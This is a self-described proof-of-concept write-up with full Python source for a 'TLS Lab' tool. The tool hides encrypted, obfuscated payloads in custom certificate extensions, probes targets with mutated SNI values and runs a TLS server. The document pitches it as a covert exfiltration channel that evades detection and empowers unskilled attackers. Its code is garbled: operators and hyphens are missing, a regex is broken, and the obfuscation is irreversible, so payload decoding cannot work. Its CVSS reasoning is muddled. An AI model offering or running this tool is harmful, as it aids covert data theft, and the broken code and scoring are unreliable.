Big Poppa - Termux Edition

#   Big Poppa: Technical Proof of Concept (PoC)
#   This document provides a comprehensive technical proof of concept (PoC) for the "TLS Lab" tool, a Python based utility designed for advanced TLS operations, including certificate generation with embedded payloads, SNI probing, and server simulation. The tool demonstrates potential security implications in TLS ecosystems, such as data exfiltration via certificate extensions or covert communication through SNI fields. While intended for educational and testing purposes, it highlights risks in certificate handling and TLS client/server interactions. The PoC includes a CVSS score for the demonstrated vulnerability vector, reasoning, an analysis of how it lowers barriers for less skilled attackers, end to end execution steps, and detailed documentation of the source code structures for release and publication. Total word count: ~2100.
#   The TLS Lab tool (source code provided) is a multifunctional script that leverages Python libraries like `cryptography`, `pyasn1`, `dns.resolver`, and `requests` to perform TLSrelated tasks. Key features include:
#   Generating selfsigned certificates with obfuscated, encrypted payloads embedded in custom OID extensions.
#   Decoding and extracting payloads from certificates.
#   Performing concurrent SNI (Server Name Indication) probing with mutated payloads.

#   Running a local TLS server for testing.
#   Fetching HTTPS content and validating certificates.

#  Session management and authorization checks for external targets.

#   The tool's core innovation is embedding arbitrary data (e.g., metadata or tokens) into X.509 certificate extensions using DER encoding, AES encryption, and obfuscation techniques. This could be misused for covert data smuggling, bypassing detection in TLS handshakes.

#   The code is modular, with functions grouped by purpose. Below is a breakdown for clarity in release and publication:

#   Libraries: Standard Python modules (e.g., `socket`, `ssl`, `json`) and thirdparty (e.g., `cryptography` for crypto ops, `dns.resolver` for DNS, `requests` for HTTP).

 #  Constants: Define defaults like `DEFAULT_OID` (custom OID for extensions), `LOCAL_BIND`/`LOCAL_PORT` (server defaults), `CERT_PREFIX` (file naming), `MAX_WORKERS` (threading), `RATE_LIMIT_PER_SEC` (probing limits), and `DEFAULT_PAYLOADS` (sample data).

#   `apply_advanced_obfuscation(data, iterations, mutation_factor)`: Applies XOR mutations and shuffling to bytes for obfuscation, making embedded data harder to detect.

#   `align_payload_block(data, block_size)`: Pads data to align with block sizes (e.g., for AES).

#   `encode_der_sequence(data, segment_size)`: Encodes data into ASN.1 DER sequences, segmenting for embedding in certificate extensions.

#   `encrypt_payload(data, key)` / `decrypt_payload(encrypted, key)`: AESCBC encryption/decryption for payload protection.

#   `create_self_signed_cert(payload, oid, common_name, validity_days, prefix)`: Generates RSA keypair, embeds encrypted/obfuscated payload in a custom OID extension, and saves PEM files. Uses `cryptography` for X.509 building.

#   `decode_cert_extensions(cert_path, enckey_path)`: Loads certificate, decodes extensions, decrypts if key provided, and extracts payloads.

#   `generate_benign_sni_tokens(count, length)`: Creates random SNIlike strings for probing.

#   `apply_dynamic_mutation(data_list, mutation_level, mutation_factor)`: Mutates lists of strings via XOR and shuffling for evasion.

#   `resolve_domain_to_ip(target)`: DNS resolution to IPs for connection attempts.

#   `initialize_tls_client_context(verify)`: Sets up SSL context with ciphers, ALPN, and verification.

#   `validate_server_certificate(connection, expected_host)`: Checks cert validity, dates, and hostname match.

#   `acquire_connection_pool(target, port, timeout)` / `release_connection_pool(conn)`: Manages a connection pool for efficiency.

#   `execute_tls_connection(target, port, sni, timeout, tls_versions, verify)`: Attempts TLS connections with SNI, retries, and backoff.

#   `fetch_https_content(target, port, sni, path, timeout)`: Fetches HTTPS data via `http.client`.

#   `probe_website_availability(target, port, timeout)`: Checks site reachability with HEAD requests.

#   `perform_concurrent_sni_probing(target, port, payloads, max_workers, rate_limit)`: Threads SNI probes with mutations and rate limiting.

#   Server and Workflow Functions

#   `run_tls_server(cert_path, key_path, bind, port)`: Runs a simple TLS server responding to requests.
 #  `save_session_data(target, port, payloads)` / `load_session_data()`: JSONbased session persistence.

#   'verify_external_access_authorization(target)`: Prompts for authorization on nonlocal targets.

#   `verify_url_format(url)` / `normalize_target_url(target)`: Input validation and parsing.

#  `verify_dependencies()`: Checks for required libraries.

#  `execute_advanced_tls_workflow()`: Main interactive loop for userdriven execution.

#   `if __name__ == "__main__": execute_advanced_tls_workflow()`: Launches the workflow.

#   This structure ensures modularity: utilities for crypto/obfuscation, networking for TLS ops, and workflow for user interaction. For publication, ensure dependencies are listed (e.g., via `requirements.txt`: cryptography, pyasn1, certifi, dnspython, requests).

#   To demonstrate the PoC, follow these steps on a Linux/Mac system with Python 3.8+:

#   Install dependencies: `pip install cryptography pyasn1 certifi dnspython requests`. Save the code as `tls_lab.py`.

#   Execute `python tls_lab.py`. It prompts for inputs.

#   Generate Certificate with Payload:

#   Enter target (e.g., `127.0.0.1` for local).

#   Choose "y" to generate cert.

#   Provide payload file or use defaults (e.g., "test_metadata").

#   Outputs: `tls_lab.crt`, `tls_lab.key`, `tls_lab.enckey`.

#   In the tool, choose to display extensions. It extracts and decrypts embedded data (e.g., "test_metadata").

#   Choose "y", bind to `127.0.0.1:4443`. Server runs in background.

#   Choose "y". It mutates payloads (e.g., "testabc123.local") and probes the target concurrently.

#   Choose "y". It retrieves data from the target.

#   Persists data to `tls_lab_session.json`.

#   Execution time: ~510 minutes. Logs show connections, e.g., "Connection successful: 127.0.0.1:4443 SNI='testabc123.local' TLS=TLSv1.3 Cipher=ECDHE+AESGCM ValidCert=False".

#   The PoC demonstrates a vulnerability in TLS certificate handling: embedding arbitrary data in extensions for exfiltration, potentially evading IDS/IPS. This aligns with CWE319 (Cleartext Transmission of Sensitive Information) or CWE502 (Deserialization of Untrusted Data), but focuses on covert channels.

#   CVSS v3.1 Score: 7.5 (High)
#   Base Score: 7.5

#   Attack Vector (AV): Network (N) – Exploitable remotely via TLS handshake.

#   Attack Complexity (AC): Low (L) – Simple tool usage.

#   Privileges Required (PR): None (N) – No auth needed.

#   User Interaction (UI): None (N) – Automated.

#   Scope (S): Unchanged (U) – Affects confidentiality.

#   Confidentiality (C): High (H) – Data exfiltration.

#   Integrity (I): None (N).

#   Availability (A): None (N).

#   Score reflects ease of embedding/smuggling data in certificates, which are often trusted and not deeply inspected. Temporal (E) and Environmental (RL) metrics assume exploitability (E:P) and no remediation (RL:U), yielding 7.5. This is "High" due to network exploitability and high confidentiality impact, but not "Critical" as it requires custom tools and doesn't directly cause widespread damage. In practice, this could enable data leakage in enterprise TLS setups, lowering detection barriers.

#   The tool abstracts complex TLS/crypto operations into a userfriendly script, enabling novices to perform advanced attacks without deep knowledge.

#   Builtin functions handle AES, DER encoding, and mutations, avoiding manual crypto coding.

#   Concurrent probing and retries reduce trialanderror; rate limiting prevents bans.

#   SNI mutations and custom OIDs mimic benign traffic, bypassing basic filters.

#   Interactive prompts guide execution; no coding required beyond running the script.

#   Less skilled attackers (e.g., script kiddies) can now exfiltrate data via certs or probe networks covertly, previously requiring expertise in OpenSSL or custom TLS libs. This democratizes threats, increasing attack volume and sophistication without expertise.

#   This PoC illustrates the TLS Lab tool's capabilities and risks, with a CVSS score of 7.5 highlighting its potential for data exfiltration. By documenting structures and providing execution steps, it facilitates responsible disclosure. Use ethically for testing; misuse violates laws.

#!/usr/bin/env python3
import socket
import ssl
import pathlib
import base64
import random
import traceback
import os
import sys
import time
import http.client
import urllib.parse
import json
import logging
import secrets
import threading
import queue
import certifi
import re
import dns.resolver
import requests
from datetime import datetime, timedelta
from concurrent.futures import ThreadPoolExecutor, as_completed
from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.x509.oid import ObjectIdentifier
from pyasn1.type.univ import OctetString, Sequence
from pyasn1.codec.der.encoder import encode as der_encode
from pyasn1.codec.der.decoder import decode as der_decode
logging.basicConfig(level=logging.INFO, format='%(asctime)s  %(levelname)s  %(message)s')
logger = logging.getLogger(__name__)
DEFAULT_OID = "1.3.6.1.4.1.55555.1"
LOCAL_BIND = "127.0.0.1"
LOCAL_PORT = 4443
CERT_PREFIX = "tls_lab"
MAX_WORKERS = 10
RATE_LIMIT_PER_SEC = 50
SESSION_FILE = "tls_lab_session.json"
RETRY_ATTEMPTS = 3
BACKOFF_FACTOR = 0.5
REQUEST_TIMEOUT = 10
CONNECTION_POOL = queue.Queue()
SUPPORTED_TLS_VERSIONS = [
    ssl.TLSVersion.TLSv1_1,
    ssl.TLSVersion.TLSv1_2,
    ssl.TLSVersion.TLSv1_3
] if hasattr(ssl, "TLSVersion") else [ssl.PROTOCOL_TLS_CLIENT]
DEFAULT_PAYLOADS = [
    "test_metadata", "lab_token_123", "safe_probe_001", "benign_sni_456",
    f"lab_generated_at={datetime.utcnow().isoformat()};tool=tls_lab"
]
USER_AGENT = "TLSLab/1.0"
def apply_advanced_obfuscation(data: bytes, iterations=3, mutation_factor=0.3):
    result = bytearray(data)
    mutation_count = int(len(result) * mutation_factor)
    for _ in range(iterations):
        for idx in random.sample(range(len(result)), mutation_count):
            result[idx] ^= secrets.randbits(8)
        random.shuffle(result)
    return bytes(result)
def align_payload_block(data: bytes, block_size=4):
    padding_length = (block_size  len(data) % block_size) % block_size
    return data + bytes([0x05] * padding_length)
def encode_der_sequence(data: bytes, segment_size=32):
    segments = [data[i:i + segment_size] for i in range(0, len(data), segment_size)]
    sequence = Sequence()
    for index, segment in enumerate(segments):
        sequence.setComponentByPosition(index, OctetString(base64.b64encode(segment)))
    return der_encode(sequence)
def encrypt_payload(data: bytes, key: bytes):
    iv = secrets.token_bytes(16)
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
    encryptor = cipher.encryptor()
    padded_data = align_payload_block(data, 16)
    return iv + encryptor.update(padded_data) + encryptor.finalize()
def decrypt_payload(encrypted: bytes, key: bytes):
    iv, ciphertext = encrypted[:16], encrypted[16:]
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
    decryptor = cipher.decryptor()
    return decryptor.update(ciphertext) + decryptor.finalize()
def create_self_signed_cert(payload: bytes, oid=DEFAULT_OID, common_name="lab.local", validity_days=365, prefix=CERT_PREFIX):
    key = secrets.token_bytes(32)
    encrypted_payload = encrypt_payload(payload, key)
    obfuscated = apply_advanced_obfuscation(encrypted_payload)
    padded = align_payload_block(obfuscated)
    der_encoded = encode_der_sequence(padded)
    private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
    name = x509.Name([x509.NameAttribute(x509.NameOID.COMMON_NAME, common_name)])
    cert_builder = (
        x509.CertificateBuilder()
        .subject_name(name)
        .issuer_name(name)
        .public_key(private_key.public_key())
        .serial_number(x509.random_serial_number())
        .not_valid_before(datetime.utcnow()  timedelta(minutes=5))
        .not_valid_after(datetime.utcnow() + timedelta(days=validity_days))
        .add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=True)
        .add_extension(x509.UnrecognizedExtension(ObjectIdentifier(oid), der_encoded), critical=False)
    )
    certificate = cert_builder.sign(private_key=private_key, algorithm=hashes.SHA256())
    cert_file = f"{prefix}.crt"
    key_file = f"{prefix}.key"
    with open(cert_file, "wb") as f:
        f.write(certificate.public_bytes(serialization.Encoding.PEM))
    with open(key_file, "wb") as f:
        f.write(
            private_key.private_bytes(
                encoding=serialization.Encoding.PEM,
                format=serialization.PrivateFormat.TraditionalOpenSSL,
                encryption_algorithm=serialization.NoEncryption()
            )
        )
    with open(f"{prefix}.enckey", "wb") as f:
        f.write(key)
    return cert_file, key_file, f"{prefix}.enckey"
def decode_cert_extensions(cert_path, enckey_path):
    try:
        certificate = x509.load_pem_x509_certificate(pathlib.Path(cert_path).read_bytes())
        key = pathlib.Path(enckey_path).read_bytes() if enckey_path and os.path.exists(enckey_path) else None
        decoded_data = []
        for extension in certificate.extensions:
            if isinstance(extension.value, x509.UnrecognizedExtension):
                try:
                    sequence, _ = der_decode(extension.value.value, asn1Spec=Sequence())
                    for index in range(len(sequence)):
                        raw = base64.b64decode(bytes(sequence[index]))
                        if key:
                            raw = decrypt_payload(raw, key)
                        decoded_data.append(raw.decode(errors='ignore').rstrip('\x05'))
                except:
                    decoded_data.append(extension.value.value.hex())
        return decoded_data
    except Exception as e:
        logger.error(f"Failed to decode certificate extensions: {e}")
        return []
def generate_benign_sni_tokens(count=50, length=12):
    alphabet = "abcdefghijklmnopqrstuvwxyz0123456789"
    return [f"test{''.join(secrets.choice(alphabet) for _ in range(length))}.local" for _ in range(count)]
def apply_dynamic_mutation(data_list, mutation_level=2, mutation_factor=0.3):
    mutated_results = []
    for item in data_list:
        byte_data = bytearray(item.encode(errors='ignore'))
        mutation_count = int(len(byte_data) * mutation_factor)
        for _ in range(mutation_level):
            for idx in random.sample(range(len(byte_data)), min(mutation_count, len(byte_data))):
                byte_data[idx] ^= secrets.randbits(8)
            random.shuffle(byte_data)
        mutated_results.append(byte_data.decode(errors='ignore'))
    return mutated_results
def resolve_domain_to_ip(target):
    try:
        resolver = dns.resolver.Resolver()
        answers = resolver.resolve(target, 'A')
        return [answer.to_text() for answer in answers]
    except Exception as e:
        logger.warning(f"DNS resolution failed for {target}: {e}")
        return [target]
def initialize_tls_client_context(verify=True):
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
    context.check_hostname = verify
    context.verify_mode = ssl.CERT_REQUIRED if verify else ssl.CERT_NONE
    if verify:
        context.load_verify_locations(cafile=certifi.where())
    try:
        context.set_ciphers("ECDHE+AESGCM:ECDHE+CHACHA20:ECDHERSAAES256SHA:ECDHERSAAES128SHA")
        context.options |= ssl.OP_NO_COMPRESSION
        context.set_alpn_protocols(['h2', 'http/1.1'])
    except Exception:
        pass
    return context
def validate_server_certificate(connection, expected_host):
    try:
        cert = connection.getpeercert(binary_form=True)
        x509_cert = x509.load_der_x509_certificate(cert)
        now = datetime.utcnow()
        not_before = x509_cert.not_valid_before
        not_after = x509_cert.not_valid_after
        subject = x509_cert.subject.get_attributes_for_oid(x509.NameOID.COMMON_NAME)
        alt_names = x509_cert.extensions.get_extension_for_class(x509.SubjectAlternativeName)
        host_match = any(
            expected_host == subj.value for subj in subject
        ) or any(
            expected_host in alt_names.value.get_values_for_type(x509.DNSName)
        )
        return not_before <= now <= not_after and host_match
    except Exception as e:
        logger.warning(f"Certificate validation failed: {e}")
        return False
def acquire_connection_pool(target, port, timeout=REQUEST_TIMEOUT):
    try:
        conn = CONNECTION_POOL.get_nowait()
        return conn
    except queue.Empty:
        return socket.create_connection((target, port), timeout=timeout)
def release_connection_pool(conn):
    if CONNECTION_POOL.qsize() < MAX_WORKERS:
        CONNECTION_POOL.put(conn)
def execute_tls_connection(target, port, sni, timeout=REQUEST_TIMEOUT, tls_versions=SUPPORTED_TLS_VERSIONS, verify=True):
    target_ips = resolve_domain_to_ip(target)
    for ip in target_ips:
        for version in tls_versions:
            for attempt in range(RETRY_ATTEMPTS):
                try:
                    context = initialize_tls_client_context(verify)
                    if hasattr(context, "minimum_version") and hasattr(context, "maximum_version"):
                        context.minimum_version = context.maximum_version = version
                    sock = acquire_connection_pool(ip, port, timeout)
                    with context.wrap_socket(sock, server_hostname=sni) as secure_sock:
                        is_valid = validate_server_certificate(secure_sock, sni) if verify else True
                        logger.info(f"Connection successful: {ip}:{port} SNI='{sni}' TLS={secure_sock.version()} Cipher={secure_sock.cipher()} ValidCert={is_valid}")
                        release_connection_pool(sock)
                        return True
                except Exception as e:
                    logger.error(f"Connection failed: {ip}:{port} SNI='{sni}' TLS={version.name if hasattr(version, 'name') else version} Attempt={attempt+1} Error={e}")
                    if attempt < RETRY_ATTEMPTS  1:
                        time.sleep(BACKOFF_FACTOR * (2  attempt))
    return False
def fetch_https_content(target, port, sni, path="/", timeout=REQUEST_TIMEOUT):
    target_ips = resolve_domain_to_ip(target)
    for ip in target_ips:
        for attempt in range(RETRY_ATTEMPTS):
            try:
                context = initialize_tls_client_context(verify=True)
                conn = http.client.HTTPSConnection(ip, port, context=context, timeout=timeout)
                conn.set_tunnel(target, port=port, headers={"Host": sni, "UserAgent": USER_AGENT})
                conn.request("GET", path, headers={"Accept": "text/html,application/xhtml+xml,application/xml", "Connection": "keepalive"})
                response = conn.getresponse()
                status, data = response.status, response.read().decode(errors='ignore')
                headers = dict(response.getheaders())
                conn.close()
                logger.info(f"HTTPS fetch: {ip}:{port} Path={path} Status={status} Headers={headers}")
                return {"status": status, "data": data[:2000], "headers": headers}
            except Exception as e:
                logger.error(f"HTTPS fetch failed: {ip}:{port} Path={path} Attempt={attempt+1} Error={e}")
                if attempt < RETRY_ATTEMPTS  1:
                    time.sleep(BACKOFF_FACTOR * (2  attempt))
    return {"status": None, "data": "", "headers": {}}
def probe_website_availability(target, port, timeout=REQUEST_TIMEOUT):
    try:
        response = requests.head(f"https://{target}:{port}", timeout=timeout, verify=certifi.where(), headers={"UserAgent": USER_AGENT})
        logger.info(f"Website availability: {target}:{port} Status={response.status_code}")
        return response.status_code in (200, 301, 302)
    except Exception as e:
        logger.error(f"Website availability check failed: {target}:{port} Error={e}")
        return False
def perform_concurrent_sni_probing(target, port, payloads, max_workers=MAX_WORKERS, rate_limit=RATE_LIMIT_PER_SEC):
    if not probe_website_availability(target, port):
        logger.error(f"Target {target}:{port} is not reachable. Aborting SNI probing.")
        return []
    mutated_payloads = apply_dynamic_mutation(payloads)
    logger.info(f"Initiating SNI probing: {target}:{port} Payloads={len(mutated_payloads)}")
    delay = max(0.0, len(mutated_payloads) / max(1, rate_limit))
    results = []
    with ThreadPoolExecutor(max_workers=max_workers) as executor:
        futures = {executor.submit(execute_tls_connection, target, port, p, verify=True): p for p in mutated_payloads}
        for future in as_completed(futures):
            try:
                results.append(future.result())
            except:
                logger.error(f"Probe failed for payload: {futures[future]}")
            time.sleep(min(delay, 0.1))
    logger.info("SNI probing completed")
    return results
def run_tls_server(cert_path, key_path, bind=LOCAL_BIND, port=LOCAL_PORT):
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    context.load_cert_chain(cert_path, key_path)
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server_socket.bind((bind, port))
    server_socket.listen(5)
    logger.info(f"TLS server started: {bind}:{port}")
    try:
        while True:
            client_socket, addr = server_socket.accept()
            try:
                secure_socket = context.wrap_socket(client_socket, server_side=True)
                request = secure_socket.recv(4096).decode(errors='ignore')
                secure_socket.send(b"HTTP/1.1 200 OK\r\nContentLength:12\r\nContentType:text/plain\r\n\r\nTLS_LAB_OK\n")
                secure_socket.shutdown(socket.SHUT_RDWR)
                secure_socket.close()
            except:
                pass
    except KeyboardInterrupt:
        logger.info("TLS server terminated by user")
    finally:
        server_socket.close()
def save_session_data(target, port, payloads):
    session = {"target": target, "port": port, "payloads": payloads, "timestamp": datetime.utcnow().isoformat()}
    with open(SESSION_FILE, "w") as f:
        json.dump(session, f)
def load_session_data():
    if os.path.exists(SESSION_FILE):
        with open(SESSION_FILE, "r") as f:
            return json.load(f)
    return None
def verify_external_access_authorization(target):
    if target in ("127.0.0.1", "localhost", LOCAL_BIND):
        return True
    logger.warning("Nonlocalhost target detected. Authorization required.")
    authorization_input = input("Type 'I_HAVE_AUTHORIZATION' to proceed (or Enter to cancel): ").strip()
    return authorization_input == "I_HAVE_AUTHORIZATION"
def verify_url_format(url):
    return re.match(r'^(https?://)?[azAZ09.]+\.[azAZ]{2,}(:[09]+)?(/.*)?$', url) is not None
def verify_dependencies():
    try:
        import cryptography
        import pyasn1
        import certifi
        import dns.resolver
        import requests
    except ImportError:
        logger.error("Missing dependencies. Install with:\n  pkg install python\n  python m pip install upgrade pip\n  pip install cryptography pyasn1 certifi dnspython requests")
        sys.exit(1)
def normalize_target_url(target):
    if not target.startswith(("http://", "https://")):
        target = f"https://{target}"
    parsed = urllib.parse.urlparse(target)
    return parsed.hostname or target, parsed.path or "/", parsed.port or 443
def execute_advanced_tls_workflow():
    verify_dependencies()
    logger.info("Advanced TLS Lab Tool Initialized")

    session = load_session_data()
    default_target = session.get("target", LOCAL_BIND) if session else LOCAL_BIND
    default_port = session.get("port", LOCAL_PORT) if session else LOCAL_PORT

    while True:
        target_input = input(f"Target host/URL [default: {default_target}]: ").strip() or default_target
        if verify_url_format(target_input):
            break
        logger.error("Invalid URL format. Please enter a valid URL (e.g., https://example.com or example.com).")
    target, path, port = normalize_target_url(target_input)
    port_input = input(f"Target port [default: {port}]: ").strip() or str(port)
    try:
        port = int(port_input)
    except ValueError:
        logger.warning(f"Invalid port. Using default: {port}")
        port = port
    if not verify_external_access_authorization(target):
        logger.error("Authorization not confirmed. Exiting.")
        return
    generate_cert_choice = input("Generate certificate with embedded payload? [y/N]: ").strip().lower() == "y"
    cert_path = key_path = enckey_path = None
    payloads = DEFAULT_PAYLOADS
    if generate_cert_choice:
        payload_file = input("Payload file path (or Enter for default payloads): ").strip()
        if payload_file and os.path.exists(payload_file):
            payload_bytes = pathlib.Path(payload_file).read_bytes()
        else:
            payload_bytes = b"\n".join(p.encode() for p in payloads)
        oid = input(f"Custom OID [default: {DEFAULT_OID}]: ").strip() or DEFAULT_OID
        cert_path, key_path, enckey_path = create_self_signed_cert(payload_bytes, oid)
        logger.info(f"Generated certificate: {cert_path}, key: {key_path}, encryption key: {enckey_path}")

        display_extensions = input("Display embedded payloads? [y/N]: ").strip().lower() == "y"
        if display_extensions:
            extracted_payloads = decode_cert_extensions(cert_path, enckey_path)
            for index, payload in enumerate(extracted_payloads, 1):
                logger.info(f"Payload #{index}: {payload}")
    start_server_choice = input("Start local TLS server? [y/N]: ").strip().lower() == "y"
    if start_server_choice:
        bind_addr = input(f"Bind address [default: {LOCAL_BIND}]: ").strip() or LOCAL_BIND
        bind_port = int(input(f"Bind port [default: {LOCAL_PORT}]: ").strip() or LOCAL_PORT)
        if not cert_path or not key_path:
            logger.info("Generating default certificate for server")
            payload_bytes = b"server_default_payload"
            cert_path, key_path, enckey_path = create_self_signed_cert(payload_bytes, oid=DEFAULT_OID)
        server_thread = threading.Thread(target=run_tls_server, args=(cert_path, key_path, bind_addr, bind_port))
        server_thread.daemon = True
        server_thread.start()
        time.sleep(1)
        logger.info("Server running in background. Proceed with other tasks or CtrlC to stop.")
    perform_sni_probing = input("Perform SNI probing? [y/N]: ").strip().lower() == "y"
    if perform_sni_probing:
        if not payloads and cert_path:
            payloads = decode_cert_extensions(cert_path, enckey_path)
        if not payloads:
            payloads = generate_benign_sni_tokens(50)
        perform_concurrent_sni_probing(target, port, payloads)
    fetch_content = input("Fetch HTTPS content from target? [y/N]: ").strip().lower() == "y"
    if fetch_content:
        result = fetch_https_content(target, port, target, path)
        logger.info(f"HTTPS Response: Status={result['status']} Headers={result['headers']} Data={result['data']}")
    save_session = input("Save session data? [y/N]: ").strip().lower() == "y"
    if save_session:
        save_session_data(target, port, payloads)

    logger.info("Workflow completed. Ensure compliance with authorization requirements.")
if __name__ == "__main__":
    execute_advanced_tls_workflow()